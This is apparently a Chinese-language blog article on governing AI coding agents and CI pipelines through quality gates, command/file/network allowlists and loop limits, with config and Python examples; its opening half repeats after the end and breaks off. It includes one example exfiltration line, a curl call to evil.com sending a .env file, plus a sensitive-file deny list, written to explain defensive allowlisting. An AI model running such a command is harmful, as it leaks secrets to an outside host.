先说你最熟悉的场景测试需求评审通过、用例写满、回归跑完结果上线第二天用户就在订单详情页点出了空指针。全团队开始查日志最后发现是某个分支在合入前偷偷绕过了一道检查或者某个自动脚本在灰度环境里循环重试把数据库连接池打满了。这是这几年质量保障团队最常见的无力感用例越写越多线上 bug 却没有成比例减少。原因也很直接bug 进入生产环境的路径已经从人的偶然失误变成了流程的失控。尤其是当前 AI 编程助手开始深入日常开发后代码合入速度从一天几个 PR 变成一天几十个 PRAgent 可以自己操作命令行、修改文件、调用接口。靠人力评审和事后复盘根本盯不住。这篇文章想把一个关键概念讲透Harness也就是执行外壳。门禁、白名单、循环上限是 Harness 控制流程的三道防线。它们分别回答三个问题什么可以继续往下走可以执行哪些动作最多执行多少次把这三件事在工程上落地线上 bug 才能从源头被堵住而不是靠测试同学加班。1. 这篇文章真正要解决的问题很多同学一看到Harness这个词第一反应是测试框架里的 Test Harness有人会想到 Harness.io 这个 CI/CD 平台。还有人最近频繁听到 DeepSeek Harness、Codex Harness以为是某个插件的名字。这些理解都不算错但没有抓到本质。Harness 的英文原意是马具、背带引申意思很形象给一个执行过程套上约束装置。马本身会跑但骑手需要通过缰绳和马具控制它的方向、速度和边界。软件里的 Harness 也一样它不直接写业务逻辑而是控制执行动作不能越过哪些边界。这篇文章要解决的问题不是教你怎么写更多测试用例而是帮你建立一套质量保障的控制面思维。读完你能够理解门禁Gate在关键节点设置检查点不满足条件就禁止流转。白名单Whitelist把允许的命令、文件、网络、工具显式列出来不在名单内默认拒绝。循环上限Loop Limits给自动执行加上步数、时间、深度上限防止无限循环和失控调用。这三道防线同样适用于传统 CI/CD 流水线和 AI Agent 执行框架。无论你负责的是接口测试、测试开发还是已经开始接触用 AI 写代码、调 Agent这套思路都能直接迁移。一句话先给出判断线上 bug 不是被测少的是被拦下来的。Harness 的价值就是把这些拦截规则嵌入到代码提交、构建、发布、Agent 运行的每一条关键路径上。2. Harness 是什么从测试脚手架到 Agent 执行壳2.1 软件领域中常见的三种 HarnessHarness 在软件工程里出现了很多年但语境不同含义也不一样。第一类是Test Harness也就是测试脚手架。它负责自动化地执行被测代码、提供输入、收集输出。这是测试同学最熟悉的概念通常包括测试数据、测试脚本、断言逻辑和结果上报。它解决的核心问题是怎么稳定地运行被测系统。第二类是Harness.io 这类 CI/CD 平台。它把部署流程编排成管道通过策略控制哪些变更可以进入生产环境。这里的harness代表的是对发布流程的治理能力比如审批门禁、灰度策略、回滚机制。第三类是Agent Harness这是当下最值得关注的语境。以 DeepSeek Harness、Codex Harness 为代表的执行框架本质上都是给 AI 编程助手套一个执行壳。模型负责理解任务、生成代码和决策Harness 负责约束它的行为能用哪些工具、能改哪些文件、能执行哪些命令、最多做多少步。三者虽然形态不同但底层逻辑是统一的把执行过程和约束规则分离。业务代码是做什么Harness 是被允许怎么做。2.2 为什么 2026 年这个概念值得所有测试关注过去质量保障主要面对的是人的问题程序员手滑、需求理解偏差、测试覆盖遗漏。这些问题用流程和规范可以缓解但完全消除不现实。现在多了一个新变量AI Agent。AI 编程助手不再只是给你补全代码的编辑器插件而是能自己跑命令、改文件、创建 PR、合并分支的自主执行单元。大多数团队的 review 机制还停留在看 PR 里的 diff根本没能力审查 Agent 在后台执行了什么。AI 模型本身是非常不确定的。同样的任务今天跑可能正常明天换一个模型版本就可能跑出完全不同的路径。它可能为了修一个 bug先改装了配置中心为了验证一个接口外呼了一个第三方服务。这些行为如果没有任何约束机制线上事故只是时间问题。而 Harness 的思路就是与其相信模型懂得分寸不如在它的执行路径上装好护栏。这三道防线就是护栏的三种形态。防线解决的核心问题生活中的类比一句话作用门禁 Gate什么可以继续往下走航班登机口的安检不满足条件就卡住白名单 Whitelist可以执行哪些动作公司工牌的门禁权限不在名单内默认拒绝循环上限 Loop Limits最多执行多少次/多久保险丝和断路器防止无限执行与失控3. 第一道防线门禁Gate3.1 什么是门禁门禁不是新概念。在 CI/CD 里它叫质量门禁在发布流程里它叫审批关卡在研发规范里它叫 Definition of Done。它的核心工作机制只有一个在流程的关键节点设卡只有满足既定条件才允许进入下一阶段。传统的质量门禁长什么样单元测试覆盖率低于阈值不允许合并安全扫描发现高危漏洞不允许发布代码评审没有通过不允许进入测试环境。这些都属于门禁。门禁之所以能堵住 bug是因为 bug 进入线上往往不是一步到位的而是经过提交、构建、测试、发布、灰度等一串环节。门禁的作用就是在链条上最关键的位置强制刹车。哪个环节该卡就要在哪个环节设规则。3.2 一个最小的质量门禁实现很多团队以为CI 里跑一下测试就是门禁其实这只是第一步。真正的门禁必须有明确的阈值判定和阻断行为。下面的 GitHub Actions 配置演示了一个基础质量门禁拉取代码、运行 Maven 测试、从 JaCoCo 报告里解析覆盖率如果低于 80% 就返回非零退出码PR 就不能合并。# 文件路径.github/workflows/quality-gate.yml name: quality-gate on: pull_request: branches: [main] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - uses: actions/setup-javav4 with: java-version: 17 distribution: temurin - name: Run unit tests run: mvn test - name: Parse coverage and block if below threshold run: | COVERAGE$(python3 scripts/parse_coverage.py target/site/jacoco/jacoco.csv) echo coverage$COVERAGE% python3 -c import sys; sys.exit(0 if $COVERAGE 80 else 1)这段配置里最值得关注的是最后一步。很多团队的流水线会生成覆盖率报告但不会根据阈值失败导致覆盖率指标仅供参考完全没有拦截能力。真正的门禁必须能让不达标的 PR 合不进去。3.3 门禁设计里容易被忽略的点第一门禁不能只检查覆盖率。覆盖率是过程指标不是质量结果。更有效的门禁维度包括安全扫描是否有高危漏洞依赖是否存在已知 CVE变更是否包含数据库迁移脚本是否有关联需求单和测试报告变更体积是否超出评审能力范围第二门禁必须可绕过性很低。有些平台允许管理员强制合并一旦开了这个口子门禁就形同虚设。门禁真正的价值不在于它会拦截而在于它不能随便被绕过。第三门禁失败时的反馈路径要清晰。测试同学最烦的门禁红了但不知道找谁本质上不是门禁的问题而是规则和负责人没有绑定。每个门禁都应该有明确的失败解释和升级渠道。小结论门禁解决的是什么可以继续往下走。它拦截的不是写得差的代码而是满足不了流转条件的变更。4. 第二道防线白名单Whitelist4.1 为什么必须用白名单而不是黑名单黑名单的思路是默认都允许把坏行为列出来拦截。这在传统安全场景下有一定作用因为威胁模型相对固定比如拦截 SQL 注入关键字、拦截常见攻击路径。但 AI Agent 时代黑名单的思路已经不可用了。模型的生成空间极大你不可能穷举它可能构造出来的所有危险操作。今天拦了rm -rf明天它可能用 Python 的shutil.rmtree实现同样的效果今天拦了curl明天它可能用 Node.js 的http.request把数据发出去。白名单的思路正好相反默认全部拒绝只有显式允许的才放行。团队需要提前定义这个 Agent 在执行任务时允许运行哪些命令允许读写哪些文件允许访问哪些网络地址允许调用哪些工具插件。4.2 生产级白名单需要四元组如果白名单只配一个命令列表是远远不够的。真正能挡住事故的白名单至少包含四个维度。第一维度是命令白名单。这里不能只写命令名要尽可能写到命令路径和参数模式。比如允许执行mvn test但不允许执行mvn deploy允许git status但不允许git push --force。第二维度是文件白名单。AI Agent 修改代码时必须限定它只能读写哪些目录。比如只允许改src/main/java和tests目录不允许碰.env、.pem、application-prod.yml这类敏感文件。第三维度是网络白名单。Agent 如果需要调用外部服务必须限定允许访问的域名和端口。比如只允许访问公司制品库和内部 API不允许任意访问外网否则模型生成的代码可能把内存中的密钥发送到第三方服务器。第四维度是工具白名单。Agent 常常通过插件调用外部能力比如 GitHub、Jira、SonarQube、内部运维平台。工具白名单用来约束它能调用的服务列表和操作权限。白名单需要四元组这个说法本质是在强调单点限制很容易被绕过四维联动才能真正把权限收窄。4.3 白名单配置示例下面是一个简化的白名单配置采用 JSON 格式。这个配置可以直接被自定义校验器读取也可以作为设计 Agent Harness 策略时的参考。{ commands: [ { pattern: npm test, description: 运行前端单元测试 }, { pattern: mvn test, description: 运行后端单元测试 }, { pattern: python3 -m pytest tests/, description: 运行 Python 测试 } ], files: { read: [src/**, tests/**, docs/**], write: [src/**, tests/**], deny_suffix: [.env, .pem, .key, application-prod.yml] }, network: { allow: [packages.example.com, api.example.com:443] }, tools: { allow: [github, jira, sonarqube, eslint, prettier] } }注意这里只是示例实际项目需要根据团队的 Agent 任务类型来定义。比如一个专门负责修 bug 的 Agent和另一个专门负责分析日志的 Agent白名单一定是不一样的。这里真正容易踩坑的地方是命令白名单如果只匹配命令名不匹配参数等于没设。比如允许了curlAgent 就可以curl https://evil.com -d .env直接把敏感文件传出去。更稳妥的做法是用精确命令模式加参数模板匹配或者在容器内执行命令把网络访问能力从操作系统层面封死。小结论白名单解决的是能做什么。它是最小权限原则在自动化流程中的直接落地。5. 第三道防线循环上限Loop Limits5.1 循环失控是 AI Agent 事故的常见形态如果你用过 AI 编程助手大概率见过这种场面给它提了一个修复空指针的任务它开始读代码、分析调用链、打印调试信息、思考方案然后又开始读代码……整整十几分钟它一直在分析就是不动手改。这种现象在 Agent 语境下更危险。Agent 不是一个被动回答问题的聊天框它是一个能操作文件的执行器。如果它陷入循环就可能反复执行同一个失败动作重复拉取分支、重复跑测试、重复调接口、重复把同一个补丁写进文件。每一次循环都在消耗资源和时间严重的会把构建机 CPU 打满甚至把测试数据库写乱。搜索词里AI 修改一个小 bug 用时很久一直分析怎么精简本质上就是循环失控的体感描述。你在等它收敛但它没有收敛条件。循环上限要做的就是给这种失控装一个强制刹车。5.2 循环上限的几个维度常见的循环上限配置包括四个维度max_steps最多执行多少轮任务循环。max_seconds最多持续多长时间。max_tokens最多消耗多少 Token防止长篇大论式空转。max_depth最多允许多少层工具调用嵌套防止 Agent 递归调用子协议。下面是一个典型的配置片段loop_limits: max_steps: 20 max_seconds: 300 max_tokens: 10000 max_depth: 3 on_exceeded: aborton_exceeded表示超出上限后的行为。推荐使用abort而不是continue。一旦触发上限就停止当前任务、记录日志、通知负责人不要给它再试一次的机会。很多事故就是最后一次重试导致的。5.3 代码级别的循环保护示例有些团队不会直接用现成的 Agent Harness而是自己封装 Agent 调用。这种情况下可以用装饰器给函数加上循环上限。import time class LoopLimitExceeded(Exception): 循环超过上限时抛出。 def enforce_loop_limit(max_steps: int, max_seconds: int): def decorator(func): def wrapper(*args, **kwargs): start time.monotonic() for step in range(1, max_steps 1): if time.monotonic() - start max_seconds: raise LoopLimitExceeded( f超过最大执行时间 {max_seconds}sstep{step} ) print(f[loop] step{step}/{max_steps}) result func(*args, **kwargs) if result.get(done): return result raise LoopLimitExceeded(f超过最大步数 {max_steps}) return wrapper return decorator使用方式如下enforce_loop_limit(max_steps5, max_seconds10) def agent_step(): # 实际场景里这里会调用 LLM 接口、执行工具、判断任务是否完成 return {done: False} try: agent_step() except LoopLimitExceeded as e: print(f任务被终止{e})这个示例最关键的地方在于每次循环迭代都检查两个终止条件。一个是步数一个是时间。任何一个先超限就立刻停止。真实 Agent 框架里的循环上限比这个复杂但原理完全一致。如果把 Agent 跑在一个独立的子进程里还可以用更硬的手段timeout 300 python3 run_agent.py --task fix-order-npetimeout命令在进程阻塞或循环失控时会直接杀掉进程属于操作系统级别的保险丝。小结论循环上限解决的是做多少次就停止。它处理的是自动执行最典型的不收敛问题。没有它白名单能拦住危险动作却拦不住一个反复执行安全动作的失控 Agent。6. 三道防线协同一个任务从提交到发布的执行链路把三道防线拆开讲是为了理解各自的职责。但在真实项目里它们必须组合起来覆盖同一个任务的全生命周期。假设一个 AI 编程助手接到任务修复订单模块的空指针异常并补充单元测试。整个过程可以分成 8 步。第一步任务进入 Harness。Harness 检查任务来源是否在允许名单中如果来源不明直接拒绝。这属于门禁的入口关卡。第二步白名单检查工具集。Harness 确认 Agent 接下来只允许使用git、file-reader、code-search、test-runner这几个工具不允许使用网络请求工具。第三步门禁检查仓库状态。当前分支是否基于 main打开的 PR 是否关联了需求单仓库里是否检测到未提交的密钥任一条件不满足任务不会开始。第四步Agent 执行修改。每次写文件前Harness 都会检查目标路径是否在文件写白名单内。如果 Agent 试图修改application-prod.yml写入会被拦截并记录告警。第五步Agent 运行测试。执行mvn test之前Harness 做命令白名单匹配运行超时由timeout或循环上限中的max_seconds控制。第六步循环上限兜底。Agent 最多执行 20 步。第 15 步时Harness 发现它还在反复读同一个文件触发无进展检测主动终止任务。这里的无进展检测是循环上限的延伸。第七步提交 PR 后CI 门禁自动运行。覆盖率、静态扫描、安全扫描、依赖漏洞扫描任何一项不达标PR 都无法合并。第八步发布前门禁。审批通过、灰度策略就绪、回滚预案存在变更才允许进入生产环境。你会发现三道防线在链路中的位置是不同的白名单控制的是动作的边界在每一步执行前生效。循环上限控制的是执行的规模在整个任务跑动中生效。门禁控制的是阶段的流转在任务的关键转折点生效。缺了任何一道都会留下漏洞。只有门禁Agent 依然可以在门禁之间执行危险命令只有白名单Agent 可能在一个安全命令上死循环只有循环上限Agent 依然可以访问不该访问的文件。这也是为什么标题说三道防线一次讲透因为它们本来就是一套完整的控制逻辑不能只取其中一件。7. 工程落地配置、代码与验证方法这一章直接给可复用的落地路径。前面已经给了门禁的 YAML、白名单的 JSON、循环上限的 Python 装饰器接下来讲怎么把它们串起来以及如何验证是否真的生效。7.1 白名单校验器示例先实现一个简单的白名单校验类用来加载前面那份 JSON 配置并拦截不合规的命令和文件写入。import fnmatch import json class WhitelistValidator: def __init__(self, config_path: str): with open(config_path, encodingutf-8) as f: self.config json.load(f) def check_command(self, command: str): for item in self.config[commands]: if fnmatch.fnmatch(command, item[pattern]): return True, item.get(description, ) return False, fcommand not in whitelist: {command} def check_file_write(self, filepath: str): if any(filepath.endswith(s) for s in self.config[files][deny_suffix]): return False, fsuffix denied: {filepath} for prefix in self.config[files][write]: if filepath.startswith(prefix): return True, return False, fpath not in write whitelist: {filepath} if __name__ __main__: v WhitelistValidator(whitelist.json) ok, desc v.check_command(mvn test) print(f允许执行: {ok}, 说明: {desc}) denied, reason v.check_command(rm -rf /tmp/test) print(f拦截结果: {not denied}, 原因: {reason}) ok, reason v.check_file_write(src/main/java/com/example/OrderService.java) print(f允许写入: {ok}) denied, reason v.check_file_write(config/application-prod.yml) print(f拦截结果: {not denied}, 原因: {reason})这个实现只是教学演示。真实生产环境里如果 Agent 跑在本地它可能不走 Python 进程而是直接调用系统命令所以建议用容器、沙箱或操作系统级权限方案做最终隔离Python 校验只能作为应用层控制。7.2 循环上限与超时控制完整示例在真实 Agent 工程里循环保护往往需要同时处理执行时间和每步状态。这里给出一个更完整的版本包含用signal实现硬超时的示例。import signal class TimeoutError(Exception): pass class LoopGuard: def __init__(self, max_steps: int 10, max_seconds: int 30): self.max_steps max_steps self.max_seconds max_seconds self.step 0 def step_ok(self) - bool: self.step 1 print(f[loop] step{self.step}/{self.max_steps}) return self.step self.max_steps def _timeout_handler(signum, frame): raise TimeoutError(超过最大执行时间) def run_with_timeout(func, args(), kwargsNone, max_seconds10): signal.signal(signal.SIGALRM, _timeout_handler) signal.alarm(max_seconds) try: return func(*args, **(kwargs or {})) finally: signal.alarm(0) def agent_run(): guard LoopGuard(max_steps3, max_seconds5) while guard.step_ok(): # 模拟 Agent 执行一个步骤的逻辑 done False if done: return ok raise TimeoutError(超过最大步数) if __name__ __main__: try: result run_with_timeout(agent_run, max_seconds10) print(result) except TimeoutError as e: print(f任务终止: {e})需要注意signal模块只能在主线程中使用。如果你的 Agent 在异步任务或子线程中运行要改用asyncio.wait_for或threading.Timer否则会直接报错。7.3 如何验证三道防线已经生效配置写完之后关键是验证它真的会拦截。建议测试团队把这三条验证用例加入到日常冒烟测试中。验证门禁# 把覆盖率阈值临时从 80 改为 99提交一个低覆盖率 PR # 预期CI 在覆盖率检查步骤失败PR 无法合并验证白名单python3 validator_demo.py rm -rf /tmp/test # 预期输出拦截结果: True, 原因: command not in whitelist验证循环上限timeout 10 python3 agent_demo.py --task never-done # 预期输出任务在 step 达到上限后终止进程退出码非 0我建议团队在测试环境搭建一套故障注入用例专门验证这些防线构造一个覆盖率不足的 PR确认门禁拦截。让 Agent 尝试写一个白名单之外的敏感文件确认拦截并产生告警。让 Agent 执行一个永远不返回 done 的任务确认循环上限生效。没有故障注入的防线配置很可能只是看起来存在。8. 常见问题与排查思路问题现象可能原因排查方式解决方案门禁没有生效低覆盖率 PR 还是被合并门禁只跑在 CI却允许管理员绕过查看仓库保护分支规则开启必选检查禁止管理员强制合并白名单误拦了正常命令命令匹配模式太宽或太窄查看白名单拦截日志中的原始命令字符串精确到命令路径和参数模板Agent 反复分析不收敛浪费资源缺少循环上限或 max_steps 设置过大查看执行日志中的 step 字段调小 max_steps增加无进展检测超过 max_seconds 但进程没有退出被阻塞在外部 IO 或子进程查看线程栈和子进程树用 timeout 命令包裹进程强制超时修改白名单配置后没有生效配置存在缓存未刷新检查配置加载机制配置版本化、热加载、发布后确认门禁覆盖了覆盖率线上仍有功能 bug门禁只查了静态指标没查语义维度查看门禁覆盖项是否包含数据变更和接口契约增加数据迁移门禁、接口契约门禁循环上限触发后资源仍然被占用Agent 派生了子进程子进程没被回收检查进程树和容器资源在容器级别设置资源限制或使用进程组终止白名单允许的命令带出了敏感参数命令参数没有校验只匹配了命令名查看命令日志中是否出现敏感字段增加参数白名单和密钥扫描第一个问题是最常见的。很多团队配置了覆盖率检查但仓库的 branch protection 里没有把这个 job 设为 required结果开发者可以绕过检查直接合并。这个问题的排查顺序是先看 CI 是否真的失败了再看 PR 是否被强行合并最后看有没有 bypass 通道。第二个问题在 AI Agent 场景里特别典型。Agent 执行的命令可能带 shell 特殊符号或动态参数fnmatch匹配不上。建议把命令白名单做成前缀 参数模板例如mvn test -DtestOrderServiceTest而不是只写mvn test否则 Agent 带参数执行时会被误拦或者换个方式绕过。第五个问题的排查思路是不要直接改线上白名单配置然后等生效而是把配置当代码管理走 Git 变更、触发重新加载、在测试环境验证后再上线。9. 最佳实践与生产环境建议9.1 把规则当代码管理门禁、白名单、循环上限的配置必须像代码一样进行版本管理。不要直接在平台页面上改一两笔就完事因为那样既没有 review也无法回溯。推荐做法配置放在 Git 仓库使用 JSON、YAML 或 HCL 描述。变更必须走 PR 评审由测试、开发、安全三方确认。发布前在测试环境做影子验证确认没有误伤后再强制生效。每次变更都留审计记录方便追溯这条规则是谁在什么时间为什么加进来的。9.2 策略命名规范规则多了以后最大的问题不是没有规则而是找不到规则。建议按类型_环境_目标_描述的格式命名GATE_PRD_COVERAGE_MAIN WL_CMD_AGENT_RUNTIME WL_FILE_AGENT_WRITE LOOP_TASK_FIX_BUG命名清晰后测试同学排查问题、开发同学申请放行、安全同学做审计都会快很多。9.3 日志与审计不可省略三道防线的作用不只是拦截还要产生高质量的决策日志。每次拦截都应该记录被拦截的动作是什么命中哪条规则关联的任务 ID 或 PR ID触发时间执行主体哪个 Agent、哪个用户、哪个 CI 任务这些日志是事后复盘的关键材料。没有日志的拦截等于白拦。9.4 告警分级与灰度策略拦截本身不一定是坏事但如果一个规则频繁触发说明它可能配置过严或者 Agent 的行为模式超出了预期。建议分三个级别警告级别只记日志不阻断用于评估新策略的误伤率。阻断级别正式拦截记录原因并通知负责人。紧急级别短时间大量拦截立即升级到安全团队。新规则上线前先跑一段shadow 模式只观察命中情况不真正拦截。确认误伤率可接受后再切到强制模式。这个过程能避免白名单误拦导致业务中断。9.5 最小权限原则白名单的初始集合应该从最小开始逐步放开。比如一个 Agent 只需要改src/main/java和tests就不要给它config目录的写权限只需要跑测试就不要给它mvn deploy的权限只需要访问内部制品库就不要给它开放公网访问。权限放开必须走变更评审不能靠 Agent临时需要就随手加白名单。否则白名单会越来越宽最终形同虚设。9.6 测试团队的新角色最后补充一点对测试同学的建议。过去测试同学的价值主要体现在执行测试和发现 bug上。但当执行链路被门禁、白名单、循环上限接管后测试同学真正的价值变成了设计约束规则。你比开发同学更清楚哪些环节容易出问题你比安全同学更了解业务指标应该卡在哪里。把这些经验转成可执行的 Harness 规则比在测试环境里反复点页面更能影响线上质量。建议每一位测试开发同学都去尝试把一条经验转成一条策略把每次上线前手动检查配置变成发布门禁自动扫描敏感配置。把叮嘱 Agent 不要乱跑命令变成命令白名单强制拦截。把注意脚本不要卡死变成循环上限超时终止。当质量保障从靠人盯变成靠机制拦线上 bug 才真正有希望被堵住。这也是这篇文章最想传达的一件事线上 bug 不是被消灭的是被挡住的。门禁管住流转白名单管住权限循环上限管住失控。三者在 Harness 里各司其职共同构成 2026 年研发流程中最需要补齐的一块短板。
Harness三道防线：门禁、白名单、循环上限，堵住线上bug
先说你最熟悉的场景测试需求评审通过、用例写满、回归跑完结果上线第二天用户就在订单详情页点出了空指针。全团队开始查日志最后发现是某个分支在合入前偷偷绕过了一道检查或者某个自动脚本在灰度环境里循环重试把数据库连接池打满了。这是这几年质量保障团队最常见的无力感用例越写越多线上 bug 却没有成比例减少。原因也很直接bug 进入生产环境的路径已经从人的偶然失误变成了流程的失控。尤其是当前 AI 编程助手开始深入日常开发后代码合入速度从一天几个 PR 变成一天几十个 PRAgent 可以自己操作命令行、修改文件、调用接口。靠人力评审和事后复盘根本盯不住。这篇文章想把一个关键概念讲透Harness也就是执行外壳。门禁、白名单、循环上限是 Harness 控制流程的三道防线。它们分别回答三个问题什么可以继续往下走可以执行哪些动作最多执行多少次把这三件事在工程上落地线上 bug 才能从源头被堵住而不是靠测试同学加班。1. 这篇文章真正要解决的问题很多同学一看到Harness这个词第一反应是测试框架里的 Test Harness有人会想到 Harness.io 这个 CI/CD 平台。还有人最近频繁听到 DeepSeek Harness、Codex Harness以为是某个插件的名字。这些理解都不算错但没有抓到本质。Harness 的英文原意是马具、背带引申意思很形象给一个执行过程套上约束装置。马本身会跑但骑手需要通过缰绳和马具控制它的方向、速度和边界。软件里的 Harness 也一样它不直接写业务逻辑而是控制执行动作不能越过哪些边界。这篇文章要解决的问题不是教你怎么写更多测试用例而是帮你建立一套质量保障的控制面思维。读完你能够理解门禁Gate在关键节点设置检查点不满足条件就禁止流转。白名单Whitelist把允许的命令、文件、网络、工具显式列出来不在名单内默认拒绝。循环上限Loop Limits给自动执行加上步数、时间、深度上限防止无限循环和失控调用。这三道防线同样适用于传统 CI/CD 流水线和 AI Agent 执行框架。无论你负责的是接口测试、测试开发还是已经开始接触用 AI 写代码、调 Agent这套思路都能直接迁移。一句话先给出判断线上 bug 不是被测少的是被拦下来的。Harness 的价值就是把这些拦截规则嵌入到代码提交、构建、发布、Agent 运行的每一条关键路径上。2. Harness 是什么从测试脚手架到 Agent 执行壳2.1 软件领域中常见的三种 HarnessHarness 在软件工程里出现了很多年但语境不同含义也不一样。第一类是Test Harness也就是测试脚手架。它负责自动化地执行被测代码、提供输入、收集输出。这是测试同学最熟悉的概念通常包括测试数据、测试脚本、断言逻辑和结果上报。它解决的核心问题是怎么稳定地运行被测系统。第二类是Harness.io 这类 CI/CD 平台。它把部署流程编排成管道通过策略控制哪些变更可以进入生产环境。这里的harness代表的是对发布流程的治理能力比如审批门禁、灰度策略、回滚机制。第三类是Agent Harness这是当下最值得关注的语境。以 DeepSeek Harness、Codex Harness 为代表的执行框架本质上都是给 AI 编程助手套一个执行壳。模型负责理解任务、生成代码和决策Harness 负责约束它的行为能用哪些工具、能改哪些文件、能执行哪些命令、最多做多少步。三者虽然形态不同但底层逻辑是统一的把执行过程和约束规则分离。业务代码是做什么Harness 是被允许怎么做。2.2 为什么 2026 年这个概念值得所有测试关注过去质量保障主要面对的是人的问题程序员手滑、需求理解偏差、测试覆盖遗漏。这些问题用流程和规范可以缓解但完全消除不现实。现在多了一个新变量AI Agent。AI 编程助手不再只是给你补全代码的编辑器插件而是能自己跑命令、改文件、创建 PR、合并分支的自主执行单元。大多数团队的 review 机制还停留在看 PR 里的 diff根本没能力审查 Agent 在后台执行了什么。AI 模型本身是非常不确定的。同样的任务今天跑可能正常明天换一个模型版本就可能跑出完全不同的路径。它可能为了修一个 bug先改装了配置中心为了验证一个接口外呼了一个第三方服务。这些行为如果没有任何约束机制线上事故只是时间问题。而 Harness 的思路就是与其相信模型懂得分寸不如在它的执行路径上装好护栏。这三道防线就是护栏的三种形态。防线解决的核心问题生活中的类比一句话作用门禁 Gate什么可以继续往下走航班登机口的安检不满足条件就卡住白名单 Whitelist可以执行哪些动作公司工牌的门禁权限不在名单内默认拒绝循环上限 Loop Limits最多执行多少次/多久保险丝和断路器防止无限执行与失控3. 第一道防线门禁Gate3.1 什么是门禁门禁不是新概念。在 CI/CD 里它叫质量门禁在发布流程里它叫审批关卡在研发规范里它叫 Definition of Done。它的核心工作机制只有一个在流程的关键节点设卡只有满足既定条件才允许进入下一阶段。传统的质量门禁长什么样单元测试覆盖率低于阈值不允许合并安全扫描发现高危漏洞不允许发布代码评审没有通过不允许进入测试环境。这些都属于门禁。门禁之所以能堵住 bug是因为 bug 进入线上往往不是一步到位的而是经过提交、构建、测试、发布、灰度等一串环节。门禁的作用就是在链条上最关键的位置强制刹车。哪个环节该卡就要在哪个环节设规则。3.2 一个最小的质量门禁实现很多团队以为CI 里跑一下测试就是门禁其实这只是第一步。真正的门禁必须有明确的阈值判定和阻断行为。下面的 GitHub Actions 配置演示了一个基础质量门禁拉取代码、运行 Maven 测试、从 JaCoCo 报告里解析覆盖率如果低于 80% 就返回非零退出码PR 就不能合并。# 文件路径.github/workflows/quality-gate.yml name: quality-gate on: pull_request: branches: [main] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - uses: actions/setup-javav4 with: java-version: 17 distribution: temurin - name: Run unit tests run: mvn test - name: Parse coverage and block if below threshold run: | COVERAGE$(python3 scripts/parse_coverage.py target/site/jacoco/jacoco.csv) echo coverage$COVERAGE% python3 -c import sys; sys.exit(0 if $COVERAGE 80 else 1)这段配置里最值得关注的是最后一步。很多团队的流水线会生成覆盖率报告但不会根据阈值失败导致覆盖率指标仅供参考完全没有拦截能力。真正的门禁必须能让不达标的 PR 合不进去。3.3 门禁设计里容易被忽略的点第一门禁不能只检查覆盖率。覆盖率是过程指标不是质量结果。更有效的门禁维度包括安全扫描是否有高危漏洞依赖是否存在已知 CVE变更是否包含数据库迁移脚本是否有关联需求单和测试报告变更体积是否超出评审能力范围第二门禁必须可绕过性很低。有些平台允许管理员强制合并一旦开了这个口子门禁就形同虚设。门禁真正的价值不在于它会拦截而在于它不能随便被绕过。第三门禁失败时的反馈路径要清晰。测试同学最烦的门禁红了但不知道找谁本质上不是门禁的问题而是规则和负责人没有绑定。每个门禁都应该有明确的失败解释和升级渠道。小结论门禁解决的是什么可以继续往下走。它拦截的不是写得差的代码而是满足不了流转条件的变更。4. 第二道防线白名单Whitelist4.1 为什么必须用白名单而不是黑名单黑名单的思路是默认都允许把坏行为列出来拦截。这在传统安全场景下有一定作用因为威胁模型相对固定比如拦截 SQL 注入关键字、拦截常见攻击路径。但 AI Agent 时代黑名单的思路已经不可用了。模型的生成空间极大你不可能穷举它可能构造出来的所有危险操作。今天拦了rm -rf明天它可能用 Python 的shutil.rmtree实现同样的效果今天拦了curl明天它可能用 Node.js 的http.request把数据发出去。白名单的思路正好相反默认全部拒绝只有显式允许的才放行。团队需要提前定义这个 Agent 在执行任务时允许运行哪些命令允许读写哪些文件允许访问哪些网络地址允许调用哪些工具插件。4.2 生产级白名单需要四元组如果白名单只配一个命令列表是远远不够的。真正能挡住事故的白名单至少包含四个维度。第一维度是命令白名单。这里不能只写命令名要尽可能写到命令路径和参数模式。比如允许执行mvn test但不允许执行mvn deploy允许git status但不允许git push --force。第二维度是文件白名单。AI Agent 修改代码时必须限定它只能读写哪些目录。比如只允许改src/main/java和tests目录不允许碰.env、.pem、application-prod.yml这类敏感文件。第三维度是网络白名单。Agent 如果需要调用外部服务必须限定允许访问的域名和端口。比如只允许访问公司制品库和内部 API不允许任意访问外网否则模型生成的代码可能把内存中的密钥发送到第三方服务器。第四维度是工具白名单。Agent 常常通过插件调用外部能力比如 GitHub、Jira、SonarQube、内部运维平台。工具白名单用来约束它能调用的服务列表和操作权限。白名单需要四元组这个说法本质是在强调单点限制很容易被绕过四维联动才能真正把权限收窄。4.3 白名单配置示例下面是一个简化的白名单配置采用 JSON 格式。这个配置可以直接被自定义校验器读取也可以作为设计 Agent Harness 策略时的参考。{ commands: [ { pattern: npm test, description: 运行前端单元测试 }, { pattern: mvn test, description: 运行后端单元测试 }, { pattern: python3 -m pytest tests/, description: 运行 Python 测试 } ], files: { read: [src/**, tests/**, docs/**], write: [src/**, tests/**], deny_suffix: [.env, .pem, .key, application-prod.yml] }, network: { allow: [packages.example.com, api.example.com:443] }, tools: { allow: [github, jira, sonarqube, eslint, prettier] } }注意这里只是示例实际项目需要根据团队的 Agent 任务类型来定义。比如一个专门负责修 bug 的 Agent和另一个专门负责分析日志的 Agent白名单一定是不一样的。这里真正容易踩坑的地方是命令白名单如果只匹配命令名不匹配参数等于没设。比如允许了curlAgent 就可以curl https://evil.com -d .env直接把敏感文件传出去。更稳妥的做法是用精确命令模式加参数模板匹配或者在容器内执行命令把网络访问能力从操作系统层面封死。小结论白名单解决的是能做什么。它是最小权限原则在自动化流程中的直接落地。5. 第三道防线循环上限Loop Limits5.1 循环失控是 AI Agent 事故的常见形态如果你用过 AI 编程助手大概率见过这种场面给它提了一个修复空指针的任务它开始读代码、分析调用链、打印调试信息、思考方案然后又开始读代码……整整十几分钟它一直在分析就是不动手改。这种现象在 Agent 语境下更危险。Agent 不是一个被动回答问题的聊天框它是一个能操作文件的执行器。如果它陷入循环就可能反复执行同一个失败动作重复拉取分支、重复跑测试、重复调接口、重复把同一个补丁写进文件。每一次循环都在消耗资源和时间严重的会把构建机 CPU 打满甚至把测试数据库写乱。搜索词里AI 修改一个小 bug 用时很久一直分析怎么精简本质上就是循环失控的体感描述。你在等它收敛但它没有收敛条件。循环上限要做的就是给这种失控装一个强制刹车。5.2 循环上限的几个维度常见的循环上限配置包括四个维度max_steps最多执行多少轮任务循环。max_seconds最多持续多长时间。max_tokens最多消耗多少 